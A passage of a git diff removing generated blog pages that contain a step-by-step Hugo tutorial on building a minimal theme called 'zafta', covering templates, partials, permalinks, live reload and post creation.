    --rw-rw-r--  1 mdhender  staff   527 Sep 27 15:08 public/index.html
    --rw-rw-r--  1 mdhender  staff   358 Sep 27 15:08 public/post/first-post/index.html
    --rw-rw-r--  1 mdhender  staff     0 Sep 27 15:08 public/post/index.html
    --rw-rw-r--  1 mdhender  staff   342 Sep 27 15:08 public/post/second-post/index.html
    -
    - -

    Notice that the page wasn’t created at the top level. It was created in a sub-directory named ‘about-time/’. That name came from our slug. Hugo will use the slug to name the generated content. It’s a reasonable default, by the way, but we can learn a few things by fighting it for this file.

    - -

    One other thing. Take a look at the home page.

    - -
    $ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -    <h1><a href="http://localhost:1313/post/theme/">creating a new theme</a></h1>
    -    <h1><a href="http://localhost:1313/about-time/">about</a></h1>
    -    <h1><a href="http://localhost:1313/post/second-post/">second</a></h1>
    -    <h1><a href="http://localhost:1313/post/first-post/">first</a></h1>
    -<script>document.write('<script src="http://'
    -        + (location.host || 'localhost').split(':')[0]
    -        + ':1313/livereload.js?mindelay=10"></'
    -        + 'script>')</script></body>
    -</html>
    -
    - -

    Notice that the “about” link is listed with the posts? That’s not desirable, so let’s change that first.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <h1>posts</h1>
    -  {{ range first 10 .Data.Pages }}
    -    {{ if eq .Type "post"}}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -  <h1>pages</h1>
    -  {{ range .Data.Pages }}
    -    {{ if eq .Type "page" }}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -</body>
    -</html>
    -:wq
    -
    - -

    Generate the web site and verify the results. The home page has two sections, posts and pages, and each section has the right set of headings and links in it.

    - -

    But, that about page still renders to about-time/index.html.

    - -
    $ find public -name '*.html' | xargs ls -l
    --rw-rw-r--  1 mdhender  staff    334 Sep 27 15:33 public/about-time/index.html
    --rw-rw-r--  1 mdhender  staff    645 Sep 27 15:33 public/index.html
    --rw-rw-r--  1 mdhender  staff    358 Sep 27 15:33 public/post/first-post/index.html
    --rw-rw-r--  1 mdhender  staff      0 Sep 27 15:33 public/post/index.html
    --rw-rw-r--  1 mdhender  staff    342 Sep 27 15:33 public/post/second-post/index.html
    -
    - -

    Knowing that hugo is using the slug to generate the file name, the simplest solution is to change the slug. Let’s do it the hard way and change the permalink in the configuration file.

    - -
    $ vi config.toml
    -[permalinks]
    -    page = "/:title/"
    -    about = "/:filename/"
    -
    - -

    Generate the web site and verify that this didn’t work. Hugo lets “slug” or “URL” override the permalinks setting in the configuration file. Go ahead and comment out the slug in content/about.md, then generate the web site to get it to be created in the right place.

    - -

    Sharing Templates

    - -

    If you’ve been following along, you probably noticed that posts have titles in the browser and the home page doesn’t. That’s because we didn’t put the title in the home page’s template (layouts/index.html). That’s an easy thing to do, but let’s look at a different option.

    - -

    We can put the common bits into a shared template that’s stored in the themes/zafta/layouts/partials/ directory.

    - - - -

    In Hugo, a partial is a sugar-coated template. Normally a template reference has a path specified. Partials are different. Hugo searches for them along a TODO defined search path. This makes it easier for end-users to override the theme’s presentation.

    - -
    $ vi themes/zafta/layouts/partials/header.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -    <title>{{ .Title }}</title>
    -</head>
    -<body>
    -:wq
    -
    -$ vi themes/zafta/layouts/partials/footer.html
    -</body>
    -</html>
    -:wq
    -
    - -

    Update the Home Page Template to Use the Partials

    - -

    The most noticeable difference between a template call and a partials call is the lack of path:

    - -
    {{ template "theme/partials/header.html" . }}
    -
    - -

    versus

    - -
    {{ partial "header.html" . }}
    -
    - -

    Both pass in the context.

    - -

    Let’s change the home page template to use these new partials.

    - -
    $ vi themes/zafta/layouts/index.html
    -{{ partial "header.html" . }}
    -
    -  <h1>posts</h1>
    -  {{ range first 10 .Data.Pages }}
    -    {{ if eq .Type "post"}}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -  <h1>pages</h1>
    -  {{ range .Data.Pages }}
    -    {{ if or (eq .Type "page") (eq .Type "about") }}
    -      <h2><a href="{{ .Permalink }}">{{ .Type }} - {{ .Title }} - {{ .RelPermalink }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The title on the home page is now “your title here”, which comes from the “title” variable in the config.toml file.

    - -

    Update the Default Single Template to Use the Partials

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The title on the posts and the about page should both reflect the value in the markdown file.

    - -

    Add “Date Published” to Posts

    - -

    It’s common to have posts display the date that they were written or published, so let’s add that. The front matter of our posts has a variable named “date.” It’s usually the date the content was created, but let’s pretend that’s the value we want to display.

    - -

    Add “Date Published” to the Template

    - -

    We’ll start by updating the template used to render the posts. The template code will look like:

    - -
    {{ .Date.Format "Mon, Jan 2, 2006" }}
    -
    - -

    Posts use the default single template, so we’ll change that file.

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  <h2>{{ .Date.Format "Mon, Jan 2, 2006" }}</h2>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The posts now have the date displayed in them. There’s a problem, though. The “about” page also has the date displayed.

    - -

    As usual, there are a couple of ways to make the date display only on posts. We could do an “if” statement like we did on the home page. Another way would be to create a separate template for posts.

    - -

    The “if” solution works for sites that have just a couple of content types. It aligns with the principle of “code for today,” too.

    - -

    Let’s assume, though, that we’ve made our site so complex that we feel we have to create a new template type. In Hugo-speak, we’re going to create a section template.

    - -

    Let’s restore the default single template before we forget.

    - -
    $ mkdir themes/zafta/layouts/post
    -$ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Now we’ll update the post’s version of the single template. If you remember Hugo’s rules, the template engine will use this version over the default.

    - -
    $ vi themes/zafta/layouts/post/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  <h2>{{ .Date.Format "Mon, Jan 2, 2006" }}</h2>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    -
    - -

    Note that we removed the date logic from the default template and put it in the post template. Generate the web site and verify the results. Posts have dates and the about page doesn’t.

    - -

    Don’t Repeat Yourself

    - -

    DRY is a good design goal and Hugo does a great job supporting it. Part of the art of a good template is knowing when to add a new template and when to update an existing one. While you’re figuring that out, accept that you’ll be doing some refactoring. Hugo makes that easy and fast, so it’s okay to delay splitting up a template.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/test3/index.html b/themes/public/article/test3/index.html deleted file mode 100644 index 76a7590c..00000000 --- a/themes/public/article/test3/index.html +++ /dev/null @@ -1,1500 +0,0 @@ - - - - - - - - - - Creating a new theme | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - - -

    Introduction

    - -

    This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme.

    - -

    We’ll start with creating a new site with a very basic template. Then we’ll add in a few pages and posts. With small variations on that, you will be able to create many different types of web sites.

    - -

    In this tutorial, commands that you enter will start with the “$” prompt. The output will follow. Lines that start with “#” are comments that I’ve added to explain a point. When I show updates to a file, the “:wq” on the last line means to save the file.

    - -

    Here’s an example:

    - -
    ## this is a comment
    -$ echo this is a command
    -this is a command
    -
    -## edit the file
    -$vi foo.md
    -+++
    -date = "2014-09-28"
    -title = "creating a new theme"
    -+++
    -
    -bah and humbug
    -:wq
    -
    -## show it
    -$ cat foo.md
    -+++
    -date = "2014-09-28"
    -title = "creating a new theme"
    -+++
    -
    -bah and humbug
    -$
    -
    - -

    Some Definitions

    - -

    There are a few concepts that you need to understand before creating a theme.

    - -

    Skins

    - -

    Skins are the files responsible for the look and feel of your site. It’s the CSS that controls colors and fonts, it’s the Javascript that determines actions and reactions. It’s also the rules that Hugo uses to transform your content into the HTML that the site will serve to visitors.

    - -

    You have two ways to create a skin. The simplest way is to create it in the layouts/ directory. If you do, then you don’t have to worry about configuring Hugo to recognize it. The first place that Hugo will look for rules and files is in the layouts/ directory so it will always find the skin.

    - -

    Your second choice is to create it in a sub-directory of the themes/ directory. If you do, then you must always tell Hugo where to search for the skin. It’s extra work, though, so why bother with it?

    - -

    The difference between creating a skin in layouts/ and creating it in themes/ is very subtle. A skin in layouts/ can’t be customized without updating the templates and static files that it is built from. A skin created in themes/, on the other hand, can be and that makes it easier for other people to use it.

    - -

    The rest of this tutorial will call a skin created in the themes/ directory a theme.

    - -

    Note that you can use this tutorial to create a skin in the layouts/ directory if you wish to. The main difference will be that you won’t need to update the site’s configuration file to use a theme.

    - -

    The Home Page

    - -

    The home page, or landing page, is the first page that many visitors to a site see. It is the index.html file in the root directory of the web site. Since Hugo writes files to the public/ directory, our home page is public/index.html.

    - -

    Site Configuration File

    - -

    When Hugo runs, it looks for a configuration file that contains settings that override default values for the entire site. The file can use TOML, YAML, or JSON. I prefer to use TOML for my configuration files. If you prefer to use JSON or YAML, you’ll need to translate my examples. You’ll also need to change the name of the file since Hugo uses the extension to determine how to process it.

    - -

    Hugo translates Markdown files into HTML. By default, Hugo expects to find Markdown files in your content/ directory and template files in your themes/ directory. It will create HTML files in your public/ directory. You can change this by specifying alternate locations in the configuration file.

    - -

    Content

    - -

    Content is stored in text files that contain two sections. The first section is the “front matter,” which is the meta-information on the content. The second section contains Markdown that will be converted to HTML.

    - -

    Front Matter

    - -

    The front matter is information about the content. Like the configuration file, it can be written in TOML, YAML, or JSON. Unlike the configuration file, Hugo doesn’t use the file’s extension to know the format. It looks for markers to signal the type. TOML is surrounded by “+++”, YAML by “---”, and JSON is enclosed in curly braces. I prefer to use TOML, so you’ll need to translate my examples if you prefer YAML or JSON.

    - -

    The information in the front matter is passed into the template before the content is rendered into HTML.

    - -

    Markdown

    - -

    Content is written in Markdown which makes it easier to create the content. Hugo runs the content through a Markdown engine to create the HTML which will be written to the output file.

    - -

    Template Files

    - -

    Hugo uses template files to render content into HTML. Template files are a bridge between the content and presentation. Rules in the template define what content is published, where it’s published to, and how it will rendered to the HTML file. The template guides the presentation by specifying the style to use.

    - -

    There are three types of templates: single, list, and partial. Each type takes a bit of content as input and transforms it based on the commands in the template.

    - -

    Hugo uses its knowledge of the content to find the template file used to render the content. If it can’t find a template that is an exact match for the content, it will shift up a level and search from there. It will continue to do so until it finds a matching template or runs out of templates to try. If it can’t find a template, it will use the default template for the site.

    - -

    Please note that you can use the front matter to influence Hugo’s choice of templates.

    - -

    Single Template

    - -

    A single template is used to render a single piece of content. For example, an article or post would be a single piece of content and use a single template.

    - -

    List Template

    - -

    A list template renders a group of related content. That could be a summary of recent postings or all articles in a category. List templates can contain multiple groups.

    - -

    The homepage template is a special type of list template. Hugo assumes that the home page of your site will act as the portal for the rest of the content in the site.

    - -

    Partial Template

    - -

    A partial template is a template that can be included in other templates. Partial templates must be called using the “partial” template command. They are very handy for rolling up common behavior. For example, your site may have a banner that all pages use. Instead of copying the text of the banner into every single and list template, you could create a partial with the banner in it. That way if you decide to change the banner, you only have to change the partial template.

    - -

    Create a New Site

    - -

    Let’s use Hugo to create a new web site. I’m a Mac user, so I’ll create mine in my home directory, in the Sites folder. If you’re using Linux, you might have to create the folder first.

    - -

    The “new site” command will create a skeleton of a site. It will give you the basic directory structure and a useable configuration file.

    - -
    $ hugo new site ~/Sites/zafta
    -$ cd ~/Sites/zafta
    -$ ls -l
    -total 8
    -drwxr-xr-x  7 quoha  staff  238 Sep 29 16:49 .
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 16:49 ..
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -$
    -
    - -

    Take a look in the content/ directory to confirm that it is empty.

    - -

    The other directories (archetypes/, layouts/, and static/) are used when customizing a theme. That’s a topic for a different tutorial, so please ignore them for now.

    - -

    Generate the HTML For the New Site

    - -

    Running the hugo command with no options will read all the available content and generate the HTML files. It will also copy all static files (that’s everything that’s not content). Since we have an empty site, it won’t do much, but it will do it very quickly.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -$
    -
    - -

    The “--verbose” flag gives extra information that will be helpful when we build the template. Every line of the output that starts with “INFO:” or “WARN:” is present because we used that flag. The lines that start with “WARN:” are warning messages. We’ll go over them later.

    - -

    We can verify that the command worked by looking at the directory again.

    - -
    $ ls -l
    -total 8
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:02 public
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -$
    -
    - -

    See that new public/ directory? Hugo placed all generated content there. When you’re ready to publish your web site, that’s the place to start. For now, though, let’s just confirm that we have what we’d expect from a site with no content.

    - -
    $ ls -l public
    -total 16
    --rw-r--r--  1 quoha  staff  416 Sep 29 17:02 index.xml
    --rw-r--r--  1 quoha  staff  262 Sep 29 17:02 sitemap.xml
    -$
    -
    - -

    Hugo created two XML files, which is standard, but there are no HTML files.

    - -

    Test the New Site

    - -

    Verify that you can run the built-in web server. It will dramatically shorten your development cycle if you do. Start it by running the “server” command. If it is successful, you will see output similar to the following:

    - -
    $ hugo server --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -Serving pages from /Users/quoha/Sites/zafta/public
    -Web Server is available at http://localhost:1313
    -Press Ctrl+C to stop
    -
    - -

    Connect to the listed URL (it’s on the line that starts with “Web Server”). If everything is working correctly, you should get a page that shows the following:

    - -
    index.xml
    -sitemap.xml
    -
    - -

    That’s a listing of your public/ directory. Hugo didn’t create a home page because our site has no content. When there’s no index.html file in a directory, the server lists the files in the directory, which is what you should see in your browser.

    - -

    Let’s go back and look at those warnings again.

    - -
    WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -
    - -

    That second warning is easier to explain. We haven’t created a template to be used to generate “page not found errors.” The 404 message is a topic for a separate tutorial.

    - -

    Now for the first warning. It is for the home page. You can tell because the first layout that it looked for was “index.html.” That’s only used by the home page.

    - -

    I like that the verbose flag causes Hugo to list the files that it’s searching for. For the home page, they are index.html, _default/list.html, and _default/single.html. There are some rules that we’ll cover later that explain the names and paths. For now, just remember that Hugo couldn’t find a template for the home page and it told you so.

    - -

    At this point, you’ve got a working installation and site that we can build upon. All that’s left is to add some content and a theme to display it.

    - -

    Create a New Theme

    - -

    Hugo doesn’t ship with a default theme. There are a few available (I counted a dozen when I first installed Hugo) and Hugo comes with a command to create new themes.

    - -

    We’re going to create a new theme called “zafta.” Since the goal of this tutorial is to show you how to fill out the files to pull in your content, the theme will not contain any CSS. In other words, ugly but functional.

    - -

    All themes have opinions on content and layout. For example, Zafta uses “post” over “blog”. Strong opinions make for simpler templates but differing opinions make it tougher to use themes. When you build a theme, consider using the terms that other themes do.

    - -

    Create a Skeleton

    - -

    Use the hugo “new” command to create the skeleton of a theme. This creates the directory structure and places empty files for you to fill out.

    - -
    $ hugo new theme zafta
    -
    -$ ls -l
    -total 8
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:02 public
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 17:31 themes
    -
    -$ find themes -type f | xargs ls -l
    --rw-r--r--  1 quoha  staff  1081 Sep 29 17:31 themes/zafta/LICENSE.md
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/archetypes/default.md
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/index.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/partials/footer.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/partials/header.html
    --rw-r--r--  1 quoha  staff    93 Sep 29 17:31 themes/zafta/theme.toml
    -$
    -
    - -

    The skeleton includes templates (the files ending in .html), license file, a description of your theme (the theme.toml file), and an empty archetype.

    - -

    Please take a minute to fill out the theme.toml and LICENSE.md files. They’re optional, but if you’re going to be distributing your theme, it tells the world who to praise (or blame). It’s also nice to declare the license so that people will know how they can use the theme.

    - -
    $ vi themes/zafta/theme.toml
    -author = "michael d henderson"
    -description = "a minimal working template"
    -license = "MIT"
    -name = "zafta"
    -source_repo = ""
    -tags = ["tags", "categories"]
    -:wq
    -
    -## also edit themes/zafta/LICENSE.md and change
    -## the bit that says "YOUR_NAME_HERE"
    -
    - -

    Note that the the skeleton’s template files are empty. Don’t worry, we’ll be changing that shortly.

    - -
    $ find themes/zafta -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/index.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/partials/footer.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/partials/header.html
    -$
    -
    - -

    Update the Configuration File to Use the Theme

    - -

    Now that we’ve got a theme to work with, it’s a good idea to add the theme name to the configuration file. This is optional, because you can always add “-t zafta” on all your commands. I like to put it the configuration file because I like shorter command lines. If you don’t put it in the configuration file or specify it on the command line, you won’t use the template that you’re expecting to.

    - -

    Edit the file to add the theme, add a title for the site, and specify that all of our content will use the TOML format.

    - -
    $ vi config.toml
    -theme = "zafta"
    -baseurl = ""
    -languageCode = "en-us"
    -title = "zafta - totally refreshing"
    -MetaDataFormat = "toml"
    -:wq
    -
    -$
    -
    - -

    Generate the Site

    - -

    Now that we have an empty theme, let’s generate the site again.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -$
    -
    - -

    Did you notice that the output is different? The warning message for the home page has disappeared and we have an additional information line saying that Hugo is syncing from the theme’s directory.

    - -

    Let’s check the public/ directory to see what Hugo’s created.

    - -
    $ ls -l public
    -total 16
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:56 css
    --rw-r--r--  1 quoha  staff    0 Sep 29 17:56 index.html
    --rw-r--r--  1 quoha  staff  407 Sep 29 17:56 index.xml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:56 js
    --rw-r--r--  1 quoha  staff  243 Sep 29 17:56 sitemap.xml
    -$
    -
    - -

    Notice four things:

    - -
      -
    1. Hugo created a home page. This is the file public/index.html.
    2. -
    3. Hugo created a css/ directory.
    4. -
    5. Hugo created a js/ directory.
    6. -
    7. Hugo claimed that it created 0 pages. It created a file and copied over static files, but didn’t create any pages. That’s because it considers a “page” to be a file created directly from a content file. It doesn’t count things like the index.html files that it creates automatically.
    8. -
    - -

    The Home Page

    - -

    Hugo supports many different types of templates. The home page is special because it gets its own type of template and its own template file. The file, layouts/index.html, is used to generate the HTML for the home page. The Hugo documentation says that this is the only required template, but that depends. Hugo’s warning message shows that it looks for three different templates:

    - -
    WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -
    - -

    If it can’t find any of these, it completely skips creating the home page. We noticed that when we built the site without having a theme installed.

    - -

    When Hugo created our theme, it created an empty home page template. Now, when we build the site, Hugo finds the template and uses it to generate the HTML for the home page. Since the template file is empty, the HTML file is empty, too. If the template had any rules in it, then Hugo would have used them to generate the home page.

    - -
    $ find . -name index.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 20:21 ./public/index.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 ./themes/zafta/layouts/index.html
    -$
    -
    - -

    The Magic of Static

    - -

    Hugo does two things when generating the site. It uses templates to transform content into HTML and it copies static files into the site. Unlike content, static files are not transformed. They are copied exactly as they are.

    - -

    Hugo assumes that your site will use both CSS and JavaScript, so it creates directories in your theme to hold them. Remember opinions? Well, Hugo’s opinion is that you’ll store your CSS in a directory named css/ and your JavaScript in a directory named js/. If you don’t like that, you can change the directory names in your theme directory or even delete them completely. Hugo’s nice enough to offer its opinion, then behave nicely if you disagree.

    - -
    $ find themes/zafta -type d | xargs ls -ld
    -drwxr-xr-x  7 quoha  staff  238 Sep 29 17:38 themes/zafta
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 17:31 themes/zafta/archetypes
    -drwxr-xr-x  5 quoha  staff  170 Sep 29 17:31 themes/zafta/layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/layouts/_default
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/layouts/partials
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/static
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:31 themes/zafta/static/css
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:31 themes/zafta/static/js
    -$
    -
    - -

    The Theme Development Cycle

    - -

    When you’re working on a theme, you will make changes in the theme’s directory, rebuild the site, and check your changes in the browser. Hugo makes this very easy:

    - -
      -
    1. Purge the public/ directory.
    2. -
    3. Run the built in web server in watch mode.
    4. -
    5. Open your site in a browser.
    6. -
    7. Update the theme.
    8. -
    9. Glance at your browser window to see changes.
    10. -
    11. Return to step 4.
    12. -
    - -

    I’ll throw in one more opinion: never work on a theme on a live site. Always work on a copy of your site. Make changes to your theme, test them, then copy them up to your site. For added safety, use a tool like Git to keep a revision history of your content and your theme. Believe me when I say that it is too easy to lose both your mind and your changes.

    - -

    Check the main Hugo site for information on using Git with Hugo.

    - -

    Purge the public/ Directory

    - -

    When generating the site, Hugo will create new files and update existing ones in the public/ directory. It will not delete files that are no longer used. For example, files that were created in the wrong directory or with the wrong title will remain. If you leave them, you might get confused by them later. I recommend cleaning out your site prior to generating it.

    - -

    Note: If you’re building on an SSD, you should ignore this. Churning on a SSD can be costly.

    - -

    Hugo’s Watch Option

    - -

    Hugo’s “--watch” option will monitor the content/ and your theme directories for changes and rebuild the site automatically.

    - -

    Live Reload

    - -

    Hugo’s built in web server supports live reload. As pages are saved on the server, the browser is told to refresh the page. Usually, this happens faster than you can say, “Wow, that’s totally amazing.”

    - -

    Development Commands

    - -

    Use the following commands as the basis for your workflow.

    - -
    ## purge old files. hugo will recreate the public directory.
    -##
    -$ rm -rf public
    -##
    -## run hugo in watch mode
    -##
    -$ hugo server --watch --verbose
    -
    - -

    Here’s sample output showing Hugo detecting a change to the template for the home page. Once generated, the web browser automatically reloaded the page. I’ve said this before, it’s amazing.

    - -
    $ rm -rf public
    -$ hugo server --watch --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -Watching for changes in /Users/quoha/Sites/zafta/content
    -Serving pages from /Users/quoha/Sites/zafta/public
    -Web Server is available at http://localhost:1313
    -Press Ctrl+C to stop
    -INFO: 2014/09/29 File System Event: ["/Users/quoha/Sites/zafta/themes/zafta/layouts/index.html": MODIFY|ATTRIB]
    -Change detected, rebuilding site
    -
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 1 ms
    -
    - -

    Update the Home Page Template

    - -

    The home page is one of a few special pages that Hugo creates automatically. As mentioned earlier, it looks for one of three files in the theme’s layout/ directory:

    - -
      -
    1. index.html
    2. -
    3. _default/list.html
    4. -
    5. _default/single.html
    6. -
    - -

    We could update one of the default templates, but a good design decision is to update the most specific template available. That’s not a hard and fast rule (in fact, we’ll break it a few times in this tutorial), but it is a good generalization.

    - -

    Make a Static Home Page

    - -

    Right now, that page is empty because we don’t have any content and we don’t have any logic in the template. Let’s change that by adding some text to the template.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Build the web site and then verify the results.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  78 Sep 29 21:26 public/index.html
    -
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -</html>
    -
    - -

    Live Reload

    - -

    Note: If you’re running the server with the --watch option, you’ll see different content in the file:

    - -
    $ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -<script>document.write('<script src="http://'
    -        + (location.host || 'localhost').split(':')[0]
    -    + ':1313/livereload.js?mindelay=10"></'
    -        + 'script>')</script></body>
    -</html>
    -
    - -

    When you use --watch, the Live Reload script is added by Hugo. Look for live reload in the documentation to see what it does and how to disable it.

    - -

    Build a “Dynamic” Home Page

    - -

    “Dynamic home page?” Hugo’s a static web site generator, so this seems an odd thing to say. I mean let’s have the home page automatically reflect the content in the site every time Hugo builds it. We’ll use iteration in the template to do that.

    - -

    Create New Posts

    - -

    Now that we have the home page generating static content, let’s add some content to the site. We’ll display these posts as a list on the home page and on their own page, too.

    - -

    Hugo has a command to generate a skeleton post, just like it does for sites and themes.

    - -
    $ hugo --verbose new post/first.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/first.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/default.md
    -ERROR: 2014/09/29 Unable to Cast <nil> to map[string]interface{}
    -
    -$
    -
    - -

    That wasn’t very nice, was it?

    - -

    The “new” command uses an archetype to create the post file. Hugo created an empty default archetype file, but that causes an error when there’s a theme. For me, the workaround was to create an archetypes file specifically for the post type.

    - -
